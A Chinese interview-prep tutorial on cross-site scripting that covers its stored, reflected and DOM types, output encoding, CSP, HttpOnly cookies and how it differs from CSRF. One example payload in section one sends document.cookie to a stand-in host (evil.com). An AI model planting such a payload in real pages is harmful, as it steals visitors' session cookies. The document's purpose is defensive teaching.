什么是 XSS 攻击?有哪些类型?如何防范?
简化版
XSS(跨站脚本攻击):攻击者把恶意 JavaScript 注入到网页里,当其他用户浏览这个页面时,脚本在他们的浏览器里执行——从而窃取 Cookie、冒充操作、篡改页面。根源是网站把用户输入的内容当成代码执行了(没做转义)。分三类:存储型、反射型、DOM 型。防范核心:对输出做转义/编码 + CSP + HttpOnly Cookie。
详细版
攻击本质:网站信任并直接渲染了用户提供的内容,如果内容里含 <script> 等代码而没被转义,就会被浏览器当成脚本执行。
三种类型:
- 存储型(Stored):恶意脚本被存进服务器数据库(如评论、昵称里插脚本),之后每个浏览该内容的用户都中招。危害最大、影响面最广。
- 反射型(Reflected):恶意脚本在 URL 参数里,服务器把它原样「反射」回页面(如搜索结果直接回显搜索词)。需要诱导用户点击带毒链接,一次性。
- DOM 型:漏洞在前端 JavaScript——JS 直接把用户输入(如 URL 片段)写进 DOM(
innerHTML等)而没处理,脚本执行。全程不经过服务器。
防范手段:
- 输出转义/编码:把用户内容里的
<>"&等转成 HTML 实体,让它作为文本显示而非代码执行——这是最核心的防御。 - CSP(内容安全策略):通过响应头限制页面只能加载/执行来自可信源的脚本,即使注入了脚本也不执行。
- HttpOnly Cookie:给 Cookie 设 HttpOnly,禁止 JS 读取,这样即使 XSS 成功也偷不到 Cookie。
- 输入校验/过滤:对输入做白名单校验、富文本用成熟的净化库(如 DOMPurify)。
完整版教学
一、XSS 的本质:把「数据」当成了「代码」
XSS 的根源,是网站分不清「用户输入的数据」和「页面的代码」。设想一个评论功能,用户提交:
<script>fetch('evil.com?c=' + document.cookie)</script>
如果网站直接把这段内容原样放进页面 HTML,浏览器就会把它当成脚本执行——于是每个看这条评论的用户,Cookie 都被发到了攻击者那里。
问题出在:本该当作纯文本显示的用户内容,被当成了可执行代码。防御的核心思路就是明确区分数据和代码——让用户内容永远作为「数据/文本」,绝不作为「代码」执行。
二、三种类型的区别:脚本从哪来、存在哪
三种 XSS 的差异在于「恶意脚本的存储位置和触发方式」:
- 存储型:脚本存在服务器(数据库里的评论/资料),持久化,谁看谁中招,危害最大。比如在论坛签名里插脚本,所有访问者都执行。
- 反射型:脚本在 URL 里,服务器把它反射回响应页面(如
search?q=<script>),不存储。需要诱导用户点特制链接,一次性。 - DOM 型:脚本触发完全在前端——前端 JS 拿 URL/输入直接
innerHTML塞进页面,不经过服务器。所以服务器端防御拦不住它,要在前端防。
记法:存储型「种在服务器」、反射型「藏在链接」、DOM 型「坏在前端 JS」。
三、防御一:输出编码(最核心)
最根本的防御是输出时转义——在把用户内容渲染进页面时,把有特殊含义的字符转成 HTML 实体:
<→<、>→>、"→"、&→&
这样 <script> 就变成了字面文本 <script>,浏览器显示出这几个字符、而不执行。现代前端框架(React、Vue)默认对插值做转义,所以天然抵御大部分 XSS——但用 dangerouslySetInnerHTML/v-html 绕过转义时就要格外小心。
关键:要在「输出到 HTML 的那一刻」做对应上下文的编码(HTML 上下文、属性上下文、JS 上下文、URL 上下文的转义规则不同)。
四、防御二三:CSP 兜底 + HttpOnly 止损
即使转义有疏漏,还有两道防线:
- CSP(Content-Security-Policy):用响应头声明「本页面只允许执行来自这些可信源的脚本」,并可禁止内联脚本(
unsafe-inline)。这样即使攻击者注入了<script>,浏览器也拒绝执行——是很强的兜底。 - HttpOnly Cookie:给登录 Cookie 设
HttpOnly,禁止 JavaScript 读取document.cookie。这样即使 XSS 脚本跑起来了,也偷不到登录 Cookie,把危害降到最低。
五、XSS vs CSRF
两者常被一起问,务必区分(详见「CSRF 攻击」那道题):
| XSS | CSRF | |
|---|---|---|
| 手段 | 注入并执行恶意脚本 | 诱导浏览器发带 Cookie 的请求 |
| 能否拿到 Cookie | 能(除非 HttpOnly) | 不能,只借用登录态 |
| 本质 | 网站信任了用户输入(数据当代码) | 网站信任了浏览器自动带的 Cookie |
| 防御 | 输出转义 + CSP + HttpOnly | CSRF Token + SameSite + 校验来源 |
简单区分:XSS 是「往页面注入脚本」,CSRF 是「冒用身份发请求」。
六、常见误区
- ❌ 以为只要过滤输入就够——输出编码才是核心(同一份数据在不同上下文要不同转义),输入过滤是辅助。
- ❌ 把 XSS 和 CSRF 混——XSS 注脚本能偷 Cookie,CSRF 借身份发请求不碰 Cookie。
- ❌ 以为用了 React/Vue 就绝对安全——默认转义能防大部分,但
v-html/dangerouslySetInnerHTML会绕过,仍可能中招。 - ❌ 只防存储型——反射型(毒链接)和 DOM 型(前端 innerHTML)同样要防。
六、常见误区与追问
| 考点 | 正确口径 |
|---|---|
| 反射型 | 恶意输入立即反射到页面 |
| 存储型 | 恶意内容存入数据库后影响其他用户 |
| DOM 型 | 前端脚本把不可信数据写入 DOM |
bad: element.innerHTML = location.hash
good: element.textContent = userInput
cookie: HttpOnly; Secure; SameSite=Lax
CSP: script-src 'self'
XSS 防护核心是按上下文输出编码,别把“不可信数据”放进可执行上下文。
- 误区:过滤
<script>就能防 XSS。 事件属性、URL 协议、SVG、模板注入等都可能执行脚本。 - 误区:前端框架自动转义后就绝对安全。 使用
dangerouslySetInnerHTML、v-html 或拼接 HTML 仍可能绕过。 - 误区:HttpOnly 能防止 XSS 发生。 HttpOnly 只能降低 Cookie 被读走的风险,不能阻止恶意脚本执行。
- 追问:存储型 XSS 为什么危害更大? 恶意载荷保存在服务端,可能影响大量访问该页面的用户。
- 追问:CSP 有什么作用? 限制脚本来源和执行方式,降低 XSS 成功后的执行能力。
- 追问:输出编码要按什么区分? HTML 文本、属性、URL、JavaScript 字符串等上下文编码规则不同。
七、加强记忆
XSS(跨站脚本)是把恶意 JS 注入网页、在其他用户浏览器执行(偷 Cookie、冒充操作),根源是网站把用户输入的数据当代码执行。三型:存储型(种在服务器,危害最大)、反射型(藏在链接)、DOM 型(前端 JS innerHTML)。防范:输出编码/转义(核心)+ CSP(拒绝执行注入脚本)+ HttpOnly Cookie(偷不到)。它和 CSRF 的区别:XSS 注脚本、CSRF 借身份。